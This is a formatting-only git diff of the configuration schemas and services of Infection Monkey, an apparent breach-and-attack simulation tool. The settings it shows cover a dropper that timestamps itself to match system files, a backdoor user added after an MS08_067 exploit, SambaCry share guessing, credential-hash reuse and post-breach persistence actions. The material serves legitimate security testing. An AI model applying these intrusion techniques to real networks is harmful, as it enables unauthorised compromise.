"properties": { + "aws_access_key_id": {"type": "string", "default": ""}, + "aws_secret_access_key": {"type": "string", "default": ""}, + "aws_session_token": {"type": "string", "default": ""}, }, }, }, }, - "island_server":{ - "title":"Island server", - "type":"object", - "properties":{ - "command_servers":{ - "title":"Island server's IP's", - "type":"array", - "uniqueItems":True, - "items":{"type":"string"}, - "default":["192.0.2.0:5000"], - "description":"List of command servers/network interfaces to try to " - "communicate with " - "(format is :)", - }, - "current_server":{ - "title":"Current server", - "type":"string", - "default":"192.0.2.0:5000", - "description":"The current command server the monkey is communicating with", + "island_server": { + "title": "Island server", + "type": "object", + "properties": { + "command_servers": { + "title": "Island server's IP's", + "type": "array", + "uniqueItems": True, + "items": {"type": "string"}, + "default": ["192.0.2.0:5000"], + "description": "List of command servers/network interfaces to try to " + "communicate with " + "(format is :)", + }, + "current_server": { + "title": "Current server", + "type": "string", + "default": "192.0.2.0:5000", + "description": "The current command server the monkey is communicating with", }, }, }, - "network":{ - "title":"Network", - "type":"object", - "properties":{ - "tcp_scanner":{ - "title":"TCP scanner", - "type":"object", - "properties":{ - "HTTP_PORTS":{ - "title":"HTTP ports", - "type":"array", - "uniqueItems":True, - "items":{"type":"integer"}, - "default":[80, 8080, 443, 8008, 7001, 9200], - "description":"List of ports the monkey will check if are being used " - "for HTTP", + "network": { + "title": "Network", + "type": "object", + "properties": { + "tcp_scanner": { + "title": "TCP scanner", + "type": "object", + "properties": { + "HTTP_PORTS": { + "title": "HTTP ports", + "type": "array", + "uniqueItems": True, + "items": {"type": "integer"}, + "default": [80, 8080, 443, 8008, 7001, 9200], + "description": "List of ports the monkey will check if are being used " + "for HTTP", }, - "tcp_target_ports":{ - "title":"TCP target ports", - "type":"array", - "uniqueItems":True, - "items":{"type":"integer"}, - "default":[ + "tcp_target_ports": { + "title": "TCP target ports", + "type": "array", + "uniqueItems": True, + "items": {"type": "integer"}, + "default": [ 22, 2222, 445, @@ -162,55 +162,55 @@ 7001, 8088, ], - "description":"List of TCP ports the monkey will check whether " - "they're open", + "description": "List of TCP ports the monkey will check whether " + "they're open", }, - "tcp_scan_interval":{ - "title":"TCP scan interval", - "type":"integer", - "default":0, - "description":"Time to sleep (in milliseconds) between scans", + "tcp_scan_interval": { + "title": "TCP scan interval", + "type": "integer", + "default": 0, + "description": "Time to sleep (in milliseconds) between scans", }, - "tcp_scan_timeout":{ - "title":"TCP scan timeout", - "type":"integer", - "default":3000, - "description":"Maximum time (in milliseconds) to wait for TCP response", + "tcp_scan_timeout": { + "title": "TCP scan timeout", + "type": "integer", + "default": 3000, + "description": "Maximum time (in milliseconds) to wait for TCP response", }, - "tcp_scan_get_banner":{ - "title":"TCP scan - get banner", - "type":"boolean", - "default":True, - "description":"Determines whether the TCP scan should try to get the " - "banner", + "tcp_scan_get_banner": { + "title": "TCP scan - get banner", + "type": "boolean", + "default": True, + "description": "Determines whether the TCP scan should try to get the " + "banner", }, }, }, - "ping_scanner":{ - "title":"Ping scanner", - "type":"object", - "properties":{ - "ping_scan_timeout":{ - "title":"Ping scan timeout", - "type":"integer", - "default":1000, - "description":"Maximum time (in milliseconds) to wait for ping " - "response", + "ping_scanner": { + "title": "Ping scanner", + "type": "object", + "properties": { + "ping_scan_timeout": { + "title": "Ping scan timeout", + "type": "integer", + "default": 1000, + "description": "Maximum time (in milliseconds) to wait for ping " + "response", } }, }, }, }, - "classes":{ - "title":"Classes", - "type":"object", - "properties":{ - "finger_classes":{ - "title":"Fingerprint classes", - "type":"array", - "uniqueItems":True, - "items":{"$ref":"#/definitions/finger_classes"}, - "default":[ + "classes": { + "title": "Classes", + "type": "object", + "properties": { + "finger_classes": { + "title": "Fingerprint classes", + "type": "array", + "uniqueItems": True, + "items": {"$ref": "#/definitions/finger_classes"}, + "default": [ "SMBFinger", "SSHFinger", "PingScanner", @@ -223,204 +223,204 @@ } }, }, - "kill_file":{ - "title":"Kill file", - "type":"object", - "properties":{ - "kill_file_path_windows":{ - "title":"Kill file path on Windows", - "type":"string", - "default":"%windir%\\monkey.not", - "description":"Path of file which kills monkey if it exists (on Windows)", - }, - "kill_file_path_linux":{ - "title":"Kill file path on Linux", - "type":"string", - "default":"/var/run/monkey.not", - "description":"Path of file which kills monkey if it exists (on Linux)", + "kill_file": { + "title": "Kill file", + "type": "object", + "properties": { + "kill_file_path_windows": { + "title": "Kill file path on Windows", + "type": "string", + "default": "%windir%\\monkey.not", + "description": "Path of file which kills monkey if it exists (on Windows)", + }, + "kill_file_path_linux": { + "title": "Kill file path on Linux", + "type": "string", + "default": "/var/run/monkey.not", + "description": "Path of file which kills monkey if it exists (on Linux)", }, }, }, - "dropper":{ - "title":"Dropper", - "type":"object", - "properties":{ - "dropper_set_date":{ - "title":"Dropper sets date", - "type":"boolean", - "default":True, - "description":"Determines whether the dropper should set the monkey's file " - "date to be the same as" - " another file", - }, - "dropper_date_reference_path_windows":{ - "title":"Dropper date reference path (Windows)", - "type":"string", - "default":"%windir%\\system32\\kernel32.dll", - "description":"Determines which file the dropper should copy the date from if " - "it's configured to do" - " so on Windows (use fullpath)", - }, - "dropper_date_reference_path_linux":{ - "title":"Dropper date reference path (Linux)", - "type":"string", - "default":"/bin/sh", - "description":"Determines which file the dropper should copy the date from if " - "it's configured to do" - " so on Linux (use fullpath)", - }, - "dropper_target_path_linux":{ - "title":"Dropper target path on Linux", - "type":"string", - "default":"/tmp/monkey", - "description":"Determines where should the dropper place the monkey on a " - "Linux machine", - }, - "dropper_target_path_win_32":{ - "title":"Dropper target path on Windows (32bit)", - "type":"string", - "default":"C:\\Windows\\temp\\monkey32.exe", - "description":"Determines where should the dropper place the monkey on a " - "Windows machine " - "(32bit)", - }, - "dropper_target_path_win_64":{ - "title":"Dropper target path on Windows (64bit)", - "type":"string", - "default":"C:\\Windows\\temp\\monkey64.exe", - "description":"Determines where should the dropper place the monkey on a " - "Windows machine " - "(64 bit)", - }, - "dropper_try_move_first":{ - "title":"Try to move first", - "type":"boolean", - "default":True, - "description":"Determines whether the dropper should try to move itself " - "instead of copying itself" - " to target path", + "dropper": { + "title": "Dropper", + "type": "object", + "properties": { + "dropper_set_date": { + "title": "Dropper sets date", + "type": "boolean", + "default": True, + "description": "Determines whether the dropper should set the monkey's file " + "date to be the same as" + " another file", + }, + "dropper_date_reference_path_windows": { + "title": "Dropper date reference path (Windows)", + "type": "string", + "default": "%windir%\\system32\\kernel32.dll", + "description": "Determines which file the dropper should copy the date from if " + "it's configured to do" + " so on Windows (use fullpath)", + }, + "dropper_date_reference_path_linux": { + "title": "Dropper date reference path (Linux)", + "type": "string", + "default": "/bin/sh", + "description": "Determines which file the dropper should copy the date from if " + "it's configured to do" + " so on Linux (use fullpath)", + }, + "dropper_target_path_linux": { + "title": "Dropper target path on Linux", + "type": "string", + "default": "/tmp/monkey", + "description": "Determines where should the dropper place the monkey on a " + "Linux machine", + }, + "dropper_target_path_win_32": { + "title": "Dropper target path on Windows (32bit)", + "type": "string", + "default": "C:\\Windows\\temp\\monkey32.exe", + "description": "Determines where should the dropper place the monkey on a " + "Windows machine " + "(32bit)", + }, + "dropper_target_path_win_64": { + "title": "Dropper target path on Windows (64bit)", + "type": "string", + "default": "C:\\Windows\\temp\\monkey64.exe", + "description": "Determines where should the dropper place the monkey on a " + "Windows machine " + "(64 bit)", + }, + "dropper_try_move_first": { + "title": "Try to move first", + "type": "boolean", + "default": True, + "description": "Determines whether the dropper should try to move itself " + "instead of copying itself" + " to target path", }, }, }, - "logging":{ - "title":"Logging", - "type":"object", - "properties":{ - "dropper_log_path_linux":{ - "title":"Dropper log file path on Linux", - "type":"string", - "default":"/tmp/user-1562", - "description":"The fullpath of the dropper log file on Linux", - }, - "dropper_log_path_windows":{ - "title":"Dropper log file path on Windows", - "type":"string", - "default":"%temp%\\~df1562.tmp", - "description":"The fullpath of the dropper log file on Windows", - }, - "monkey_log_path_linux":{ - "title":"Monkey log file path on Linux", - "type":"string", - "default":"/tmp/user-1563", - "description":"The fullpath of the monkey log file on Linux", - }, - "monkey_log_path_windows":{ - "title":"Monkey log file path on Windows", - "type":"string", - "default":"%temp%\\~df1563.tmp", - "description":"The fullpath of the monkey log file on Windows", - }, - "send_log_to_server":{ - "title":"Send log to server", - "type":"boolean", - "default":True, - "description":"Determines whether the monkey sends its log to the Monkey " - "Island server", + "logging": { + "title": "Logging", + "type": "object", + "properties": { + "dropper_log_path_linux": { + "title": "Dropper log file path on Linux", + "type": "string", + "default": "/tmp/user-1562", + "description": "The fullpath of the dropper log file on Linux", + }, + "dropper_log_path_windows": { + "title": "Dropper log file path on Windows", + "type": "string", + "default": "%temp%\\~df1562.tmp", + "description": "The fullpath of the dropper log file on Windows", + }, + "monkey_log_path_linux": { + "title": "Monkey log file path on Linux", + "type": "string", + "default": "/tmp/user-1563", + "description": "The fullpath of the monkey log file on Linux", + }, + "monkey_log_path_windows": { + "title": "Monkey log file path on Windows", + "type": "string", + "default": "%temp%\\~df1563.tmp", + "description": "The fullpath of the monkey log file on Windows", + }, + "send_log_to_server": { + "title": "Send log to server", + "type": "boolean", + "default": True, + "description": "Determines whether the monkey sends its log to the Monkey " + "Island server", }, }, }, - "exploits":{ - "title":"Exploits", - "type":"object", - "properties":{ - "exploit_lm_hash_list":{ - "title":"Exploit LM hash list", - "type":"array", - "uniqueItems":True, - "items":{"type":"string"}, - "default":[], - "description":"List of LM hashes to use on exploits using credentials", - }, - "exploit_ntlm_hash_list":{ - "title":"Exploit NTLM hash list", - "type":"array", - "uniqueItems":True, - "items":{"type":"string"}, - "default":[], - "description":"List of NTLM hashes to use on exploits using credentials", - }, - "exploit_ssh_keys":{ - "title":"SSH key pairs list", - "type":"array", - "uniqueItems":True, - "default":[], - "items":{"type":"string"}, - "description":"List of SSH key pairs to use, when trying to ssh into servers", - }, - "general":{ - "title":"General", - "type":"object", - "properties":{ - "skip_exploit_if_file_exist":{ - "title":"Skip exploit if file exists", - "type":"boolean", - "default":False, - "description":"Determines whether the monkey should skip the exploit " - "if the monkey's file" - " is already on the remote machine", + "exploits": { + "title": "Exploits", + "type": "object", + "properties": { + "exploit_lm_hash_list": { + "title": "Exploit LM hash list", + "type": "array", + "uniqueItems": True, + "items": {"type": "string"}, + "default": [], + "description": "List of LM hashes to use on exploits using credentials", + }, + "exploit_ntlm_hash_list": { + "title": "Exploit NTLM hash list", + "type": "array", + "uniqueItems": True, + "items": {"type": "string"}, + "default": [], + "description": "List of NTLM hashes to use on exploits using credentials", + }, + "exploit_ssh_keys": { + "title": "SSH key pairs list", + "type": "array", + "uniqueItems": True, + "default": [], + "items": {"type": "string"}, + "description": "List of SSH key pairs to use, when trying to ssh into servers", + }, + "general": { + "title": "General", + "type": "object", + "properties": { + "skip_exploit_if_file_exist": { + "title": "Skip exploit if file exists", + "type": "boolean", + "default": False, + "description": "Determines whether the monkey should skip the exploit " + "if the monkey's file" + " is already on the remote machine", } }, }, - "ms08_067":{ - "title":"MS08_067", - "type":"object", - "properties":{ - "ms08_067_exploit_attempts":{ - "title":"MS08_067 exploit attempts", - "type":"integer", - "default":5, - "description":"Number of attempts to exploit using MS08_067", + "ms08_067": { + "title": "MS08_067", + "type": "object", + "properties": { + "ms08_067_exploit_attempts": { + "title": "MS08_067 exploit attempts", + "type": "integer", + "default": 5, + "description": "Number of attempts to exploit using MS08_067", }, - "user_to_add":{ - "title":"Remote user", - "type":"string", - "default":"Monkey_IUSER_SUPPORT", - "description":"Username to add on successful exploit", + "user_to_add": { + "title": "Remote user", + "type": "string", + "default": "Monkey_IUSER_SUPPORT", + "description": "Username to add on successful exploit", }, - "remote_user_pass":{ - "title":"Remote user password", - "type":"string", - "default":"Password1!", - "description":"Password to use for created user", + "remote_user_pass": { + "title": "Remote user password", + "type": "string", + "default": "Password1!", + "description": "Password to use for created user", }, }, }, - "sambacry":{ - "title":"SambaCry", - "type":"object", - "properties":{ - "sambacry_trigger_timeout":{ - "title":"SambaCry trigger timeout", - "type":"integer", - "default":5, - "description":"Timeout (in seconds) of SambaCry trigger", + "sambacry": { + "title": "SambaCry", + "type": "object", + "properties": { + "sambacry_trigger_timeout": { + "title": "SambaCry trigger timeout", + "type": "integer", + "default": 5, + "description": "Timeout (in seconds) of SambaCry trigger", }, - "sambacry_folder_paths_to_guess":{ - "title":"SambaCry folder paths to guess", - "type":"array", - "uniqueItems":True, - "items":{"type":"string"}, - "default":[ + "sambacry_folder_paths_to_guess": { + "title": "SambaCry folder paths to guess", + "type": "array", + "uniqueItems": True, + "items": {"type": "string"}, + "default": [ "/", "/mnt", "/tmp", @@ -430,53 +430,53 @@ "/shares", "/home", ], - "description":"List of full paths to share folder for SambaCry to " - "guess", + "description": "List of full paths to share folder for SambaCry to " + "guess", }, - "sambacry_shares_not_to_check":{ - "title":"SambaCry shares not to check", - "type":"array", - "uniqueItems":True, - "items":{"type":"string"}, - "default":["IPC$", "print$"], - "description":"These shares won't be checked when exploiting with " - "SambaCry", + "sambacry_shares_not_to_check": { + "title": "SambaCry shares not to check", + "type": "array", + "uniqueItems": True, + "items": {"type": "string"}, + "default": ["IPC$", "print$"], + "description": "These shares won't be checked when exploiting with " + "SambaCry", }, }, }, }, - "smb_service":{ - "title":"SMB service", - "type":"object", - "properties":{ - "smb_download_timeout":{ - "title":"SMB download timeout", - "type":"integer", - "default":300, - "description":"Timeout (in seconds) for SMB download operation (used in " - "various exploits using SMB)", + "smb_service": { + "title": "SMB service", + "type": "object", + "properties": { + "smb_download_timeout": { + "title": "SMB download timeout", + "type": "integer", + "default": 300, + "description": "Timeout (in seconds) for SMB download operation (used in " + "various exploits using SMB)", }, - "smb_service_name":{ - "title":"SMB service name", - "type":"string", - "default":"InfectionMonkey", - "description":"Name of the SMB service that will be set up to download " - "monkey", + "smb_service_name": { + "title": "SMB service name", + "type": "string", + "default": "InfectionMonkey", + "description": "Name of the SMB service that will be set up to download " + "monkey", }, }, }, }, - "testing":{ - "title":"Testing", - "type":"object", - "properties":{ - "export_monkey_telems":{ - "title":"Export monkey telemetries", - "type":"boolean", - "default":False, - "description":"Exports unencrypted telemetries that " - "can be used for tests in development." - " Do not turn on!", + "testing": { + "title": "Testing", + "type": "object", + "properties": { + "export_monkey_telems": { + "title": "Export monkey telemetries", + "type": "boolean", + "default": False, + "description": "Exports unencrypted telemetries that " + "can be used for tests in development." + " Do not turn on!", } }, }, diff --git a/monkey/monkey_island/cc/services/config_schema/monkey.py b/monkey/monkey_island/cc/services/config_schema/monkey.py index 5e2e9eb2e38..e745da5828c 100644 --- a/monkey/monkey_island/cc/services/config_schema/monkey.py +++ b/monkey/monkey_island/cc/services/config_schema/monkey.py @@ -8,65 +8,65 @@ ) MONKEY = { - "title":"Monkey", - "type":"object", - "properties":{ - "post_breach":{ - "title":"Post breach", - "type":"object", - "properties":{ - "custom_PBA_linux_cmd":{ - "title":"Linux post-breach command", - "type":"string", - "default":"", - "description":"Command to be executed after breaching. " - "Use this field to run custom commands or execute uploaded " - "files on exploited machines.\nExample: " - '"chmod +x ./my_script.sh; ./my_script.sh ; rm ./my_script.sh"', + "title": "Monkey", + "type": "object", + "properties": { + "post_breach": { + "title": "Post breach", + "type": "object", + "properties": { + "custom_PBA_linux_cmd": { + "title": "Linux post-breach command", + "type": "string", + "default": "", + "description": "Command to be executed after breaching. " + "Use this field to run custom commands or execute uploaded " + "files on exploited machines.\nExample: " + '"chmod +x ./my_script.sh; ./my_script.sh ; rm ./my_script.sh"', }, - "PBA_linux_file":{ - "title":"Linux post-breach file", - "type":"string", - "format":"data-url", - "description":"File to be uploaded after breaching. " - "Use the 'Linux post-breach command' field to " - "change permissions, run, or delete the file. " - "Reference your file by filename.", + "PBA_linux_file": { + "title": "Linux post-breach file", + "type": "string", + "format": "data-url", + "description": "File to be uploaded after breaching. " + "Use the 'Linux post-breach command' field to " + "change permissions, run, or delete the file. " + "Reference your file by filename.", }, - "custom_PBA_windows_cmd":{ - "title":"Windows post-breach command", - "type":"string", - "default":"", - "description":"Command to be executed after breaching. " - "Use this field to run custom commands or execute uploaded " - "files on exploited machines.\nExample: " - '"my_script.bat & del my_script.bat"', + "custom_PBA_windows_cmd": { + "title": "Windows post-breach command", + "type": "string", + "default": "", + "description": "Command to be executed after breaching. " + "Use this field to run custom commands or execute uploaded " + "files on exploited machines.\nExample: " + '"my_script.bat & del my_script.bat"', }, - "PBA_windows_file":{ - "title":"Windows post-breach file", - "type":"string", - "format":"data-url", - "description":"File to be uploaded after breaching. " - "Use the 'Windows post-breach command' field to " - "change permissions, run, or delete the file. " - "Reference your file by filename.", + "PBA_windows_file": { + "title": "Windows post-breach file", + "type": "string", + "format": "data-url", + "description": "File to be uploaded after breaching. " + "Use the 'Windows post-breach command' field to " + "change permissions, run, or delete the file. " + "Reference your file by filename.", }, - "PBA_windows_filename":{ - "title":"Windows PBA filename", - "type":"string", - "default":"", + "PBA_windows_filename": { + "title": "Windows PBA filename", + "type": "string", + "default": "", }, - "PBA_linux_filename":{ - "title":"Linux PBA filename", - "type":"string", - "default":"", + "PBA_linux_filename": { + "title": "Linux PBA filename", + "type": "string", + "default": "", }, - "post_breach_actions":{ - "title":"Post breach actions", - "type":"array", - "uniqueItems":True, - "items":{"$ref":"#/definitions/post_breach_actions"}, - "default":[ + "post_breach_actions": { + "title": "Post breach actions", + "type": "array", + "uniqueItems": True, + "items": {"$ref": "#/definitions/post_breach_actions"}, + "default": [ "BackdoorUser", "CommunicateAsNewUser", "ModifyShellStartupFiles", @@ -80,16 +80,16 @@ }, }, }, - "system_info":{ - "title":"System info", - "type":"object", - "properties":{ - "system_info_collector_classes":{ - "title":"System info collectors", - "type":"array", - "uniqueItems":True, - "items":{"$ref":"#/definitions/system_info_collector_classes"}, - "default":[ + "system_info": { + "title": "System info", + "type": "object", + "properties": { + "system_info_collector_classes": { + "title": "System info collectors", + "type": "array", + "uniqueItems": True, + "items": {"$ref": "#/definitions/system_info_collector_classes"}, + "default": [ ENVIRONMENT_COLLECTOR, AWS_COLLECTOR, HOSTNAME_COLLECTOR, @@ -100,33 +100,33 @@ }, }, }, - "persistent_scanning":{ - "title":"Persistent scanning", - "type":"object", - "properties":{ - "max_iterations":{ - "title":"Max iterations", - "type":"integer", - "default":1, - "minimum":1, - "description":"Determines how many iterations of the monkey's full lifecycle " - "should occur " - "(how many times to do the scan)", + "persistent_scanning": { + "title": "Persistent scanning", + "type": "object", + "properties": { + "max_iterations": { + "title": "Max iterations", + "type": "integer", + "default": 1, + "minimum": 1, + "description": "Determines how many iterations of the monkey's full lifecycle " + "should occur " + "(how many times to do the scan)", }, - "timeout_between_iterations":{ - "title":"Wait time between iterations", - "type":"integer", - "default":100, - "minimum":0, - "description":"Determines for how long (in seconds) should the monkey wait " - "before starting another scan", + "timeout_between_iterations": { + "title": "Wait time between iterations", + "type": "integer", + "default": 100, + "minimum": 0, + "description": "Determines for how long (in seconds) should the monkey wait " + "before starting another scan", }, - "retry_failed_explotation":{ - "title":"Retry failed exploitation", - "type":"boolean", - "default":True, - "description":"Determines whether the monkey should retry exploiting machines" - " it didn't successfully exploit on previous scans", + "retry_failed_explotation": { + "title": "Retry failed exploitation", + "type": "boolean", + "default": True, + "description": "Determines whether the monkey should retry exploiting machines" + " it didn't successfully exploit on previous scans", }, }, }, diff --git a/monkey/monkey_island/cc/services/edge/displayed_edge.py b/monkey/monkey_island/cc/services/edge/displayed_edge.py index 00f06fd8999..67fe03d602e 100644 --- a/monkey/monkey_island/cc/services/edge/displayed_edge.py +++ b/monkey/monkey_island/cc/services/edge/displayed_edge.py @@ -27,7 +27,7 @@ def edge_to_displayed_edge(edge: EdgeService, for_report=False): if len(edge.scans) > 0: services = DisplayedEdgeService.services_to_displayed_services( - edge.scans[-1]["data"]["services"], for_report + edge.scans[-1]["data"]["services"], for_report ) os = edge.scans[-1]["data"]["os"] @@ -46,12 +46,12 @@ def edge_to_displayed_edge(edge: EdgeService, for_report=False): @staticmethod def generate_pseudo_edge(edge_id, src_node_id, dst_node_id, src_label, dst_label): edge = { - "id":edge_id, - "from":src_node_id, - "to":dst_node_id, - "group":"island", - "src_label":src_label, - "dst_label":dst_label, + "id": edge_id, + "from": src_node_id, + "to": dst_node_id, + "group": "island", + "src_label": src_label, + "dst_label": dst_label, } edge["_label"] = DisplayedEdgeService.get_pseudo_label(edge) return edge @@ -73,12 +73,12 @@ def services_to_displayed_services(services, for_report=False): @staticmethod def edge_to_net_edge(edge: EdgeService): return { - "id":edge.id, - "from":edge.src_node_id, - "to":edge.dst_node_id, - "group":edge.get_group(), - "src_label":edge.src_label, - "dst_label":edge.dst_label, + "id": edge.id, + "from": edge.src_node_id, + "to": edge.dst_node_id, + "group": edge.get_group(), + "src_label": edge.src_label, + "dst_label": edge.dst_label, } diff --git a/monkey/monkey_island/cc/services/edge/edge.py b/monkey/monkey_island/cc/services/edge/edge.py index 1750ca4a9d2..461b0e8a544 100644 --- a/monkey/monkey_island/cc/services/edge/edge.py +++ b/monkey/monkey_island/cc/services/edge/edge.py @@ -44,7 +44,7 @@ def update_label(self, node_id: ObjectId, label: str): self.dst_label = label else: raise DoesNotExist( - "Node id provided does not match with any endpoint of an self provided." + "Node id provided does not match with any endpoint of an self provided." ) self.save() @@ -67,7 +67,7 @@ def disable_tunnel(self): def update_based_on_scan_telemetry(self, telemetry: Dict): machine_info = copy.deepcopy(telemetry["data"]["machine"]) - new_scan = {"timestamp":telemetry["timestamp"], "data":machine_info} + new_scan = {"timestamp": telemetry["timestamp"], "data": machine_info} ip_address = machine_info.pop("ip_addr") domain_name = machine_info.pop("domain_name") self.scans.append(new_scan) diff --git a/monkey/monkey_island/cc/services/edge/test_displayed_edge.py b/monkey/monkey_island/cc/services/edge/test_displayed_edge.py index 468e9f9c9f1..4c7ca36a792 100644 --- a/monkey/monkey_island/cc/services/edge/test_displayed_edge.py +++ b/monkey/monkey_island/cc/services/edge/test_displayed_edge.py @@ -5,39 +5,39 @@ SCAN_DATA_MOCK = [ { - "timestamp":"2020-05-27T14:59:28.944Z", - "data":{ - "os":{"type":"linux", "version":"Ubuntu-4ubuntu2.8"}, - "services":{ - "tcp-8088":{"display_name":"unknown(TCP)", "port":8088}, - "tcp-22":{ - "display_name":"SSH", - "port":22, - "banner":"SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8\r\n", - "name":"ssh", + "timestamp": "2020-05-27T14:59:28.944Z", + "data": { + "os": {"type": "linux", "version": "Ubuntu-4ubuntu2.8"}, + "services": { + "tcp-8088": {"display_name": "unknown(TCP)", "port": 8088}, + "tcp-22": { + "display_name": "SSH", + "port": 22, + "banner": "SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8\r\n", + "name": "ssh", }, }, - "monkey_exe":None, - "default_tunnel":None, - "default_server":None, + "monkey_exe": None, + "default_tunnel": None, + "default_server": None, }, } ] EXPLOIT_DATA_MOCK = [ { - "result":True, - "exploiter":"ElasticGroovyExploiter", - "info":{ - "display_name":"Elastic search", - "started":"2020-05-11T08:59:38.105Z", - "finished":"2020-05-11T08:59:38.106Z", - "vulnerable_urls":[], - "vulnerable_ports":[], - "executed_cmds":[], + "result": True, + "exploiter": "ElasticGroovyExploiter", + "info": { + "display_name": "Elastic search", + "started": "2020-05-11T08:59:38.105Z", + "finished": "2020-05-11T08:59:38.106Z", + "vulnerable_urls": [], + "vulnerable_ports": [], + "executed_cmds": [], }, - "attempts":[], - "timestamp":"2020-05-27T14:59:29.048Z", + "attempts": [], + "timestamp": "2020-05-27T14:59:29.048Z", } ] @@ -59,15 +59,15 @@ def test_edge_to_displayed_edge(self): src_node_id = ObjectId() dst_node_id = ObjectId() edge = EdgeService( - src_node_id=src_node_id, - dst_node_id=dst_node_id, - scans=SCAN_DATA_MOCK, - exploits=EXPLOIT_DATA_MOCK, - exploited=True, - domain_name=None, - ip_address="10.2.2.2", - dst_label="Ubuntu-4ubuntu2.8", - src_label="Ubuntu-4ubuntu3.2", + src_node_id=src_node_id, + dst_node_id=dst_node_id, + scans=SCAN_DATA_MOCK, + exploits=EXPLOIT_DATA_MOCK, + exploited=True, + domain_name=None, + ip_address="10.2.2.2", + dst_label="Ubuntu-4ubuntu2.8", + src_label="Ubuntu-4ubuntu3.2", ) displayed_edge = DisplayedEdgeService.edge_to_displayed_edge(edge) @@ -76,7 +76,7 @@ def test_edge_to_displayed_edge(self): assert displayed_edge["from"] == src_node_id assert displayed_edge["ip_address"] == "10.2.2.2" assert displayed_edge["services"] == ["tcp-8088: unknown", "tcp-22: ssh"] - assert displayed_edge["os"] == {"type":"linux", "version":"Ubuntu-4ubuntu2.8"} + assert displayed_edge["os"] == {"type": "linux", "version": "Ubuntu-4ubuntu2.8"} assert displayed_edge["exploits"] == EXPLOIT_DATA_MOCK assert displayed_edge["_label"] == "Ubuntu-4ubuntu3.2 " + RIGHT_ARROW + " Ubuntu-4ubuntu2.8" assert displayed_edge["group"] == "exploited" @@ -84,11 +84,11 @@ def test_edge_to_displayed_edge(self): def test_services_to_displayed_services(self): services1 = DisplayedEdgeService.services_to_displayed_services( - SCAN_DATA_MOCK[-1]["data"]["services"], True + SCAN_DATA_MOCK[-1]["data"]["services"], True ) assert services1 == ["tcp-8088", "tcp-22"] services2 = DisplayedEdgeService.services_to_displayed_services( - SCAN_DATA_MOCK[-1]["data"]["services"], False + SCAN_DATA_MOCK[-1]["data"]["services"], False ) assert services2 == ["tcp-8088: unknown", "tcp-22: ssh"] diff --git a/monkey/monkey_island/cc/services/infection_lifecycle.py b/monkey/monkey_island/cc/services/infection_lifecycle.py index c0b56c08df7..e921adc3e0c 100644 --- a/monkey/monkey_island/cc/services/infection_lifecycle.py +++ b/monkey/monkey_island/cc/services/infection_lifecycle.py @@ -20,10 +20,10 @@ class InfectionLifecycle: @staticmethod def kill_all(): mongo.db.monkey.update( - {"dead":False}, - {"$set":{"config.alive":False, "modifytime":datetime.now()}}, - upsert=False, - multi=True, + {"dead": False}, + {"$set": {"config.alive": False, "modifytime": datetime.now()}}, + upsert=False, + multi=True, ) logger.info("Kill all monkeys was called") return jsonify(status="OK") @@ -40,10 +40,10 @@ def get_completed_steps(): report_done = False return dict( - run_server=True, - run_monkey=is_any_exists, - infection_done=infection_done, - report_done=report_done, + run_server=True, + run_monkey=is_any_exists, + infection_done=infection_done, + report_done=report_done, ) @staticmethod diff --git a/monkey/monkey_island/cc/services/island_logs.py b/monkey/monkey_island/cc/services/island_logs.py index dc189b297a8..a145d09ad83 100644 --- a/monkey/monkey_island/cc/services/island_logs.py +++ b/monkey/monkey_island/cc/services/island_logs.py @@ -26,7 +26,7 @@ def get_log_file(): log_file_path = handler.baseFilename with open(log_file_path, "rt") as f: log_file = f.read() - return {"log_file":log_file} + return {"log_file": log_file} logger.warning("No log file could be found, check logger config.") return None diff --git a/monkey/monkey_island/cc/services/log.py b/monkey/monkey_island/cc/services/log.py index 2632d3cb92e..f4f3374d609 100644 --- a/monkey/monkey_island/cc/services/log.py +++ b/monkey/monkey_island/cc/services/log.py @@ -12,33 +12,33 @@ def __init__(self): @staticmethod def get_log_by_monkey_id(monkey_id): - log = mongo.db.log.find_one({"monkey_id":monkey_id}) + log = mongo.db.log.find_one({"monkey_id": monkey_id}) if log: log_file = database.gridfs.get(log["file_id"]) monkey_label = monkey_island.cc.services.node.NodeService.get_monkey_label( - monkey_island.cc.services.node.NodeService.get_monkey_by_id(log["monkey_id"]) + monkey_island.cc.services.node.NodeService.get_monkey_by_id(log["monkey_id"]) ) return { - "monkey_label":monkey_label, - "log":log_file.read().decode(), - "timestamp":log["timestamp"], + "monkey_label": monkey_label, + "log": log_file.read().decode(), + "timestamp": log["timestamp"], } @staticmethod def remove_logs_by_monkey_id(monkey_id): - log = mongo.db.log.find_one({"monkey_id":monkey_id}) + log = mongo.db.log.find_one({"monkey_id": monkey_id}) if log is not None: database.gridfs.delete(log["file_id"]) - mongo.db.log.delete_one({"monkey_id":monkey_id}) + mongo.db.log.delete_one({"monkey_id": monkey_id}) @staticmethod def add_log(monkey_id, log_data, timestamp=datetime.now()): LogService.remove_logs_by_monkey_id(monkey_id) file_id = database.gridfs.put(log_data, encoding="utf-8") return mongo.db.log.insert( - {"monkey_id":monkey_id, "file_id":file_id, "timestamp":timestamp} + {"monkey_id": monkey_id, "file_id": file_id, "timestamp": timestamp} ) @staticmethod def log_exists(monkey_id): - return mongo.db.log.find_one({"monkey_id":monkey_id}) is not None + return mongo.db.log.find_one({"monkey_id": monkey_id}) is not None diff --git a/monkey/monkey_island/cc/services/netmap/net_edge.py b/monkey/monkey_island/cc/services/netmap/net_edge.py index 11227782e97..1c0b649d032 100644 --- a/monkey/monkey_island/cc/services/netmap/net_edge.py +++ b/monkey/monkey_island/cc/services/netmap/net_edge.py @@ -35,11 +35,11 @@ def _get_uninfected_island_net_edges(): monkey_label = NodeService.get_label_for_endpoint(monkey_id) island_label = NodeService.get_label_for_endpoint(island_id) island_pseudo_edge = DisplayedEdgeService.generate_pseudo_edge( - edge_id=fake_id, - src_node_id=monkey_id, - dst_node_id=island_id, - src_label=monkey_label, - dst_label=island_label, + edge_id=fake_id, + src_node_id=monkey_id, + dst_node_id=island_id, + src_label=monkey_label, + dst_label=island_label, ) edges.append(island_pseudo_edge) return edges @@ -54,8 +54,8 @@ def _get_infected_island_net_edges(monkey_island_monkey): x.id for x in Monkey.objects() if ("tunnel" not in x) - and (x.id not in existing_ids) - and (x.id != monkey_island_monkey["_id"]) + and (x.id not in existing_ids) + and (x.id != monkey_island_monkey["_id"]) ] edges = [] @@ -68,11 +68,11 @@ def _get_infected_island_net_edges(monkey_island_monkey): src_label = NodeService.get_label_for_endpoint(monkey_id) dst_label = 